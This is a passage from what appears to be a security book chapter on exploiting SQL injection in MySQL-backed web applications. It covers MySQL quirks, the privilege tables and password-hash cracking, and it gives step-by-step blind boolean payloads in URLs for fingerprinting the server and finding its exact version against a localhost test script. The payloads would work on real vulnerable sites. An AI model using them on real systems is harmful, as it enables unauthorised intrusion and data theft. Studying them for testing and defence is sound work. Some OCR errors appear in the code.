새로운 댓글
MySQL is a database server distributed with a license agreement like a general public license.
MySQL is one of the most popular database servers. It is so popular because of its simplicity and quick response. It doesn't offer many features to a programmer, but Web applications seldom require complicated databases and queries that would be impossible to implement in MySQL.
Another reason for MySQL's popularity is the license agreement, which often allows the users to use it free.
MySQL is distributed with the source code and is available for most operating systems, including Windows, FreeBSD, and Linux. Access to the database is implemented using SQL, a popular query language. However, its MySQL version somewhat differs from the versions used in other database servers.
Because SQL is one of the most popular database access languages, I'll briefly describe its features and the differences among the versions of it used in various MySQL versions.
A few MySQL versions can be found:
MySQL 4.x is the latest reliable version. It is recommended for installation.
MySQL 3.x is an obsolete version, but it still can be encountered on servers.
Earlier versions of MySQL aren't used in actual systems.
MySQL 5.x is available. However, this branch isn't reliable, and the developers of MySQL recommend that it be used only for testing. Therefore, you are unlikely to encounter it in actual systems.
Each next version of this database server has more features and uses more complicated queries than the previous version.
Because MySQL 3.x and 4.x are the most frequently encountered, I'll describe and compare them.
SQL is the query language of MySQL 3.x and 4.x. It conforms to the ANSI SQL 92 standard; supports standard constructions, such as SELECT, INSERT, UPDATE, DELETE, and ALTER; and supports standard functions and data types.
The main difference between these two versions is that MySQL 4.x supports SELECT queries with constructions such as UNION and JOIN. Later in this chapter, I'll demonstrate how an attacker can use constructions such as UNION to obtain additional information when the SQL injection vulnerability is in MySQL 4.x.
A feature of all MySQL versions is that the NULL special value used in queries is compatible with any data type. Most implementations of SQL in other database servers also allow you to use the NULL value as if it has any data type.
In addition, MySQL can cast a value of any type to any other type. The following example demonstrates this:
-bash-2.05b$ mysql -u root
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 124 to server version: 4.0.18
Type 'help;' or '\h' for help. Type '\c' to clear the buffer.
mysql> SELECT 1, 1.2, 'hello', current_date, current_time
UNION SELECT NULL, NULL, NULL, NULL, NULL;
+---+-----+-------+--------------+---------------+
| 1 | 1.2 | hello | current_date | current_time |
+---+-----+-------+--------------+---------------+
| 1 | 1.2 | hello | 2004-09-30 | 16:43:23 |
| 0 | 0.0 | | | |
+---+-----+-------+--------------+---------------+
2 rows in set (0.01 sec)
mysql> SELECT 1, 1.2, 'hello', current_date, current_time
UNION SELECT 10, 11, 12, 13, 14;
+----+------+-------+--------------+-------------+
| 1 | 1.2 | hello | current_date | current_time|
+----+------+-------+--------------+-------------+
| 1 | 1.2 | hello | 2004-09-30 | 16:44:00 |
|10 | 11.0 | 12 | 13 | 14 |
+----+------+-------+--------------+-------------+
2 rows in set (0.00 sec)
mysql> SELECT 1, 1.2, 'hello', current_date, current_time UNION
SELECT 'dsd', 'asdf, 'qsdfg', 'gfgf','lsddsd';
+---+-----+-------+--------------+---------------+
| 1 | 1.2 | hello | current_date | current_time |
----+-----+-------+--------------+---------------+
| 1 | 1.2 | hello | 2004-09-30 | 16:45:09 |
| 0 | 0.0 | qsdfg | gfgf |1sddsd |
+---+-----+-------+--------------+---------------+
2 rows in set (0.00 sec)
As you can see, in the first query MySQL converts the NULL value to an integer zero or a floating-point zero when it is a number and to an empty string when it is a string, a date, or the time. Depending on the query context, MySQL treats a date or time as a string or as an integer.
Note that the integers converted to the data or time type didn't degrade to a zero or an empty string but retained their form. This is a feature of MySQL. When it converts integers to other date types, the integers retain their form. However, there are a few exceptions when converting them to the date or time type.
When a string is cast to an integer or floating-point type, it is converted to zero. When it is cast to the date or time type, it retains its form.
The previous queries used the SELECT construction. In this example, it didn't retrieve values but just performed calculation.
In addition, these queries used the UNION SELECT construction that added another query to the first one. The result is a combination of two queries, as if they were executed in a row.
These examples demonstrate situations that will help you understand how an attacker can exploit the SQL injection vulnerability.
Another MySQL feature is the MySQL extension that allows the user to insert the /*! ... */ construction into a query. The exclamation mark can be followed by an integer that will be interpreted as a MySQL version.
The code contained within this construction will be executed only if the MySQL version is greater or equal to the specified number. For example, if you specify /*! 32302 ... */, the code within this construction will be executed only if the MySQL version is greater or equal to 3.23.02. If you specify /*! 40018 ... */, the version number should be greater or equal to 4.0.18.
The other server versions will treat this construction as a comment and ignore it.
Consider an example that illustrates how MySQL 4.0.18 will work in this case:
-bash-2.05b$ mysql -u root
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 125 to server version: 4.0.18
Type 'help;' or '\h' for help. Type '\c' to clear the buffer.
mysql> select 0 /*132302 or 1 */ ;
+-----------------+
| 0 /*132302 or 1 |
+-----------------+
| 1 |
+-----------------+
1 row in set (0.00 sec)
mysql> select 0 /*!40000 or 1 */ ;
+-----------------+
| 0 /*!40000 or 1 |
+-----------------+
| 1 |
+-----------------+
1 row in set (0.00 sec)
mysql> select 0 /*!40018 or 1 */ ;
+-----------------+
| 0 /*!40018 or 1 |
+-----------------+
| 1 |
+-----------------+
1 row in set (0.00 sec)
mysql> select 0 /*!40019 or 1 */ ;
+---+
| 0 |
+---+
| 0 |
+---+
1 row in set (0.00 sec)
mysql>
Another feature of MySQL is that an SQL query that is missing the */ sequence closing a comment is considered syntactically correct. Any text to the right of the /* sequence (which opens a comment) is ignored:
su-2.05b# mysql -u root
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 47 to server version: 4.0.18
Type 'help;' or '\h' for help. Type '\c' to clear the buffer.
mysgl> select 1,2,3 /* comments
+---+---+---+
| 1 | 2 | 3 |
+---+---+---+
| 1 | 2 | 3 |
+---+---+---+
1 row in set (0.01 sec)
mysql> select 1,2,3 /* comments
+---+---+---+
| 1 | 2 | 3 |
+---+---+---+
| 1 | 2 | 3 |
+---+---+---+
1 row in set (0.01 sec)
Therefore, the attacker can exploit the SQL injection vulnerability in a MySQL database server by embedding the comment-opening sequence so that the query fragment to the right of it is discarded.
Note that if this type of vulnerability is in a database server and such embedding results in a query syntax error, this will indicate an unmatched opening parenthesis preceding the embedded parameter.
I demonstrated the method for counting parentheses in a query earlier in this chapter. To maintain the correctness of the query, close all parentheses before you embed a comment sequence.
Suppose the attacker detected two opening parentheses preceding a weakly filtered parameter. He or she could create queries like the following that wouldn't causes SQL syntax errors:
?id=1234
?id=1234+))+/*
?id=1234+))+any instruction/*
These queries don't cause syntax errors.
Some implementations of database clients allow users to concatenate queries using semicolons. MySQL doesn't.
| Warning | In MySQL, it is impossible to combine a few queries using a semicolon or otherwise. The mysql_query() function from the MySQL application programming interface (API) takes only one query as a parameter. |
MySQL is a multiuser database server. Each user has a login and a password. He or she is identified with the login and with an IP address or a host name, from which he or she is allowed to establish a connection. Therefore, a user with the same login can obtain different privileges or even different passwords if he or she connects to the database from different computers.
All user attributes are stored in the system database named mysql. Logins, password hashes, and user privileges for all databases are stored in the user table of the mysql database. Here are a few columns of this table:
host — The host name or IP address, from which this user can connect to the database. It can contain the percentage sign denoting any character sequence or the underscore character denoting any character.
user — The user's login.
password — The hash of the user's password. The only way to compute the password from its hash is to try every possible value.
select_priv — A privilege to make SELECT queries to all databases.
insert_priv, update_priv, delete_priv — Privileges to insert, update, and delete, respectively, the data from all databases.
create_priv, drop_priv — Privileges to create and delete tables, respectively.
shutdown_priv — A privilege to stop the database server.
process_priv — A privilege to view and stop the current processes. A user with this privilege can view a list of the currently running processes that also contains information about the current queries. These queries can contain unencrypted passwords and other private information.
file_priv — A privilege to manipulate files.
grant_priv — A privilege to grant access rights to users.
Note the password hash. It is computed with the password() function. Although it is theoretically impossible to compute the password from the hash, the attacker can find a string whose hash is the same as the password hash.
The attacker can find this string only by trying possible values. However, then he or she can use it instead of the password. If the password is short, this string is likely to coincide with it. In addition, MySQL uses a hash function that isn't secure enough. Programs are available that find a password consisting of eight printable American Standard Code for Information Interchange (ASCII) characters in a few days.
Therefore, if the attacker knows the password hash of a MySQL user, it will be a matter of time and computational resources to find the password. Most passwords can be disclosed in a few days even with a PC.
The privileges stored in the user table relate to all databases. Sometimes, this is inconvenient.
The db table stores privileges related to individual databases. For example, if a user doesn't have the select_priv privilege in the system table but he or she has this privilege for another database and this is registered in the db table, the user has this privilege only in that database.
You can grant users different privileges to access individual tables and even table columns, and you can register them in the tables_priv and columns_priv system tables.
The root user is a "superuser" with the maximum privileges in the database.
The database users have nothing in common with the users of the system. The root user of the database may have minimum rights in the system.
Suppose that the attacker has found a vulnerable script using the methods described earlier. Also suppose that the attacker has discovered that it is possible to embed any data into an SQL query, like this:
select * from test3 where xid=$id
The value of the $id variable is received with the id GET parameter without filtration.
The attacker wants to make sure that the database server is MySQL and find the version of the server. MySQL 3.x and 4.x differ in functionality, and the attacker is likely to try to discover the version currently used.
The hacker can ensure that this is MySQL by using certain server-specific functions. Here are some of them:
database() — Returns the current database
user {) — Returns the login of the user connected to the database
system_user() — The same as user()
session_user() —The same as user()
password() — Returns the hash of a string
version() — Returns the MySQL version
benchmark() — Executes an expression repeatedly
The expected (errorless) system response to any of these functions will indicate that MySQL is used.
Consider an example:
http://localhost/3/13.php
http://localhost/3/13.php?id=1123
http://localhost/3/13.php?id=1123+AND+user()<>1
http://localhost/3/13.php?id=1123+AND+database()<>1
http://localhost/3/13.php?id=1123+AND+system_user()<>1
http://localhost/3/13.php?id=1123+AND+session_user()<>1
http://localhost/3/13.php?id=1123+AND+password(111)<>1
http://localhost/3/13.php?id=1123+AND+benchrnark(1,1)<>11
All these requests return the same value. Therefore, all the functions used in the requests are implemented in the database server being investigated.
How will the system respond to calls to functions that aren't implemented in this server, such as the following?
http://localhost/3/13.php?id=1123+AND+notexists()<>1
It will return an empty page to this request. I demonstrated earlier that it can indicate an error in the SQL query if certain conditions are met.
Note that if error messages were displayed, the user will easily detect the type of the SQL server as shown in the following example for http://localhost/3/2.php?id=abc':
Warning: mysql_fetch_object(): supplied argument is not a valid
MySQL result resource in x:\localhost\3\2.php on line 18
records not found
Obviously, a MySQL database is used. The mysql_fetch_object() function is used to retrieve results from this database. However, the version of the MySQL server isn't known in this case.
Another method for detecting the MySQL database and its version involves embedding the /*!... */ construction into a weakly-filtered parameter. The use of this construction was described earlier in this chapter.
So, the code inside the /*!NNNNN... */ construction will be executed only if the SQL server version is greater or equal to NNNNN. Note that the /* ... */ construction is interpreted as a comment in most implementations of SQL. If the MySQL version is greater than 00000, the code inside the /*! 00000 ... / construction will be always executed on the MySQL server.
Suppose that the attacker found how he or she can embed any Boolean construction into the query. Also suppose that embedding a Boolean construction somehow changes the query.
Therefore, if you embed the Boolean construction into /*! 00000 ... */, it will be executed only when the query is sent to the MySQL database server. Consider an example:
http://localhost/3/13.php?id=1123
http://localhost/3/13.php?id=1123+AND+0
http://localhost/3/13.php?id=1123+AND+l
http://locamost/3/13.php?id=1123+/*+comments+*/
http://localhost/3/13.php?id=1123+/*!00000+AND+0+*/
The second request returns a database record corresponding to the sent value.
The third request returns a message informing you that no record was found. You can suppose that embedding the AND 0 Boolean construction (which is always FALSE) is the cause of this situation. However, you shouldn't forget about another likely cause: an error in the script or the SQL query.
The fourth request (with the AND 1 construction) returns the same value as the second one. This proves the supposition that the value of the received parameter is inserted into the query without filtration. So, you can embed any Boolean constructions into your requests, thus affecting the displayed results.
The fifth request tests the system's response to comments in a request. Because the expected result was returned, you can infer that comments don't affect the query.
The sixth request returns the same result as the third. In other words, the Boolean operation inside the /* 10 0000+AND+o+*/ construction was executed. Therefore, this is the MySQL database server.
So, the following queries were sent to the MySQL server:
su-2.05b# mysql -u root
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 5 to server version: 4.0.18
Type 'help;' or '\h' for help. Type '\c' to clear the buffer.
mysql> use bookl
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> -- http://localhost/3/13.php?id=1123
mysql> select * from test3 where xid=1123;
+----+------+------------------------------+
| id | xid | value |
+----+------+------------------------------+
| 1 | 1123 | a few possible values |
+----+------+------------------------------+
1 row in set (0.01 sec)
mysql> -- http://localhost/3/13.php?id=1123+AND+0
mysql> select * from test3 where xid=1123 AND 0;
Empty set (0.00 sec)
mysql> -- http://localhost/3/13.php?id=1123+AND+l
mysql> select * from test3 where xid=1123 AND 1;
+----+------+------------------------------+
| id | xid | value |
+----+------+------------------------------+
| 1 | 1123 | a few possible values |
+----+------+------------------------------+
1 row in set (0.00 sec)
mysql> -- http://localhost/3/13.php?id=1123+/*+comments+*/
mysql> select * from test3 where xid=1123 /* comments */;
+----+------+------------------------------+
| id | xid | value |
+----+------+------------------------------+
| 1 | 1123 | a few possible values |
+----+------+------------------------------+
1 row in set (0.00 sec)
mysql> -- http://localhost/3/13.php?id=1123+/*!00000+AND 0+*/
mysql> select * from test3 where xid=1123 /*!00000 AND 0 */;
Empty set (0.00 sec)
mysql>
The attacker can find the full version of the database server in a similar manner.
To find whether this is version 3.x or 4.x, the attacker can use the /* !4 0000 ... / construction. Instructions within this construction will be executed only when the server version is greater or equal to 40000, that is, only in version 4.x.
The attacker can send requests to the HTTP server like the following:
http://localhost/3/13.php?id=1123+/*!00000+AND+0+*/
http://localhost/3/13.php?id=1123+/*!30000+AND+0+*/
http://localhost/3/13.php?id=1123+/*!40000+AND+0+*/
http://localhost/3/13.php?id=1123+/*!50000+AND+0+*/
If the first request returns a message informing you that no record was found, you can be sure that this is the MySQL database server. If the second request returns the same message, the version of the MySQL server is at least 3.0. The same situation with the third request would indicate version 4.0 or later, and so on.
By using the dichotomizing search, the attacker can find the full version of the database server. For example, he or she could send a series of HTTP requests.
http://localhost/3/13.php?id=1123+/*!00000+AND+0+*/ |
|---|
records not found |
This is the MySQL database server.
http://localhost/3/13.php?id=1123+/*!20000+AND+0+*/ |
|---|
records not found |
The server version is at least 2.0.
http://localhost/3/13.php?id=1123+/*!30000+AND+0+*/ |
|---|
records not found |
The server version is at least 3.0.
http://localhost/3/13.php?id=1123+/*!40000+AND+0+*/ |
|---|
a few possible values |
The server version is earlier than 4.0.
http://localhost/3/13.php?id=1123+/*!32000+AND+0+*/ |
|---|
records not found |
The server version is at least 3.20.00.
http://localhost/3/13.php?id=1123+/*!33000+AND+0+*/ |
|---|
a few possible values |
The server version is earlier than 3.30.00. In other words, it is 3.2x.xx.
http://localhost/3/13.php?id=1123+/*!32500+AND+0+*/ |
|---|
a few possible values |
The server version is earlier than 3.25.00.
http://localhost/3/13.php?id=1123+/*!32300+AND+0+*/ |
|---|
records not found |
The server version is at least 3.23.00.
http://localhost/3/13.php?id=1123+/*!32400+AND+0+*/ |
|---|
a few possible values |
The server version is earlier than 3.24.00. In other words, it is 3.23.xx.
http://localhost/3/13.php?id=1123+/*!32350+AND+0+*/1 |
|---|
a few possible values |
The server version is earlier than 3.23.50.
http://localhost/3/13.php?id=1123+/*!32330+AND+0+*/ |
|---|
records not found |
The server version is at least 3.23.30.
http://localhost/3/13.php?id=1123+/*!32340+AND+0+*/ |
|---|
records not found |
The server version is later than 3.23.40. In other words, it is 3.23.4x.
http://localhost/3/13.php?id=1123+/*!32345+AND+0+*/ |
|---|
a few possible values |
The server version is earlier than 3.23.45.
http://localhost/3/13.php?id=1123+/*!32343+AND+0+*/ |
|---|
records not found |
The server version is at least 3.23.43.
http://localhost/3/13.php?id=1123+/*!32344+AND+0+*/ |
|---|
a few possible values |
The server version is earlier than 3.23.44. In other words, it is 3.23.43.
This method allows the attacker to find the exact version of the MySQL server, to which the Web application connects. However, in most cases he or she doesn't need the exact version; it would be enough to know the version branch.
There is another, less convenient, method for finding the version of the database server. It uses the version() function, which returns the full text of the database version.
When the attacker is just investigating the query structure and the database version, he or she still cannot create an HTTP request that would make the HTTP server return the database server response containing the result returned by the version() function.
In other words, he or she cannot obtain the result of the function explicitly. However, he or she can use this function in Boolean expressions. In these expressions, the attacker can use the like() function that looks for a string using a pattern.
The result of the version() function can look as follows:
4.18.00
3.23.43-nt
If the attacker embeds the following constructions instead of the id=1123 parameter, he or she will be able to find the branch and eventually the full version by trying all digits:
?id=1123
?id=1123+AND+version+like+'3%'
?id=1123+AND+version+like+'4%'
?id=1123+AND+version+like+'5%'
A positive, nonempty result in the second request will indicate that the MySQL version is at least 3.0, a nonempty result in the third request will indicate that the MySQL version is at least 4.0, and so on.
This method for finding the version requires no filtration of apostrophes and quotation marks to be implemented. These characters are used in the parameter values. However, even if they are filtered, the attacker can circumvent the filtration by sending a request without apostrophes and quotation marks. I'll describe this method later.
In the example being described, the attacker would send the following series of requests:
http://localhost/3/13.php?id=1123+AND+version()+like+'2%'
http://localhost/3/13.php?id=1123+AND+version()+like+'3%'
http://localhost/3/13.php?id=1123+AND+version()+like+'4%'
http://localhost/3/13.php?id=1123+AND+version()+like+'3.1%'
http://localhost/3/13.php?id=1123+AND+version()+like+'3.2%'
http://localhost/3/13.php?id=1123+AND+version()+like+'3.2.%'
http://localhost/3/13.php?id=1123+AND+version()+like+'3.21%'
http://localhost/3/13.php?id=1123+AND+version()+like+'3.23.1%'
http://localhost/3/13.php?id=1123+AND+version()+like+'3.23.2%'
http://localhost/3/13.php?id=1123+AND+version()+like+'3.23.3%'
http://localhost/3/13.php?id=1123+AND+version()+like+'3.23.4%'
http://localhost/3/13.php?id=1123+AND+version()+like+'3.23.41%'
http://localhost/3/13.php?id=1123+AND+version()+like+'3.23.42%'
http://localhost/3/13.php?id=1123+AND+version()+like+'3.23.43%'
http://localhost/3/13.php?id=1123+AND+version()+like+'3.23.41_'
http://localhost/3/13.php?id=1123+AND+version()+like+'3.23.41__'
http://localhost/3/13.php?id=1123+AND+version()+like+'3.23.41___'
After the last request, the attacker would understand that three more characters are in the version number. He or she could find them by trying the possible characters:
http://localhost/3/13.php?id=1123+AND+version()+like+'3.23.41-_'
http://localhost/3/13.php?id=1123+AND+version()+like+'3.23.41-a_'
http://localhost/3/13.php?id=1123+AND+version()+like+'3.23.41-b_'
http://localhost/3/13.php?id=1123+AND+version()+like+'3.23.41-n_'
http://localhost/3/13.php?id=1123+AND+version()+like+'3.23.41-nt'
In addition, the attacker can use the fact that the > and < operators compare strings lexicographically. Thus, he or she can find the MySQL server version using the dichotomizing search and comparing the actual version with a supposed one.
In this situation, the requests could be the following:
http://localhost/3/13.php?id=1123+AND+version()+>=+'2'
http://localhost/3/13.php?id=1123+AND+version()+>=+'3'
http://localhost/3/13.php?id=1123+AND+version()+>=+'4'
http://localhost/3/13.php?id=1123+AND+version()+>=+'3.1'
http://localhost/3/13.php?id=1123+AND+version()+>=+'3.2'
http://localhost/3/13.php?id=1123+AND+version()+>=+'3.3'
http://localhost/3/13.php?id=1123+AND+version()+>=+'3.22'
http://localhost/3/13.php?id=1123+AND+version()+>=+'3.23'
http://localhost/3/13.php?id=1123+AND+version()+>=+'3.23'
http://localhost/3/13.php?id=1123+AND+version()+>=+'3.24'
And so on.
These methods can confirm or reject a supposition that a Web application interacts with a MySQL server. In addition, they allow the attacker to find the exact version of the MySQL server.
댓글,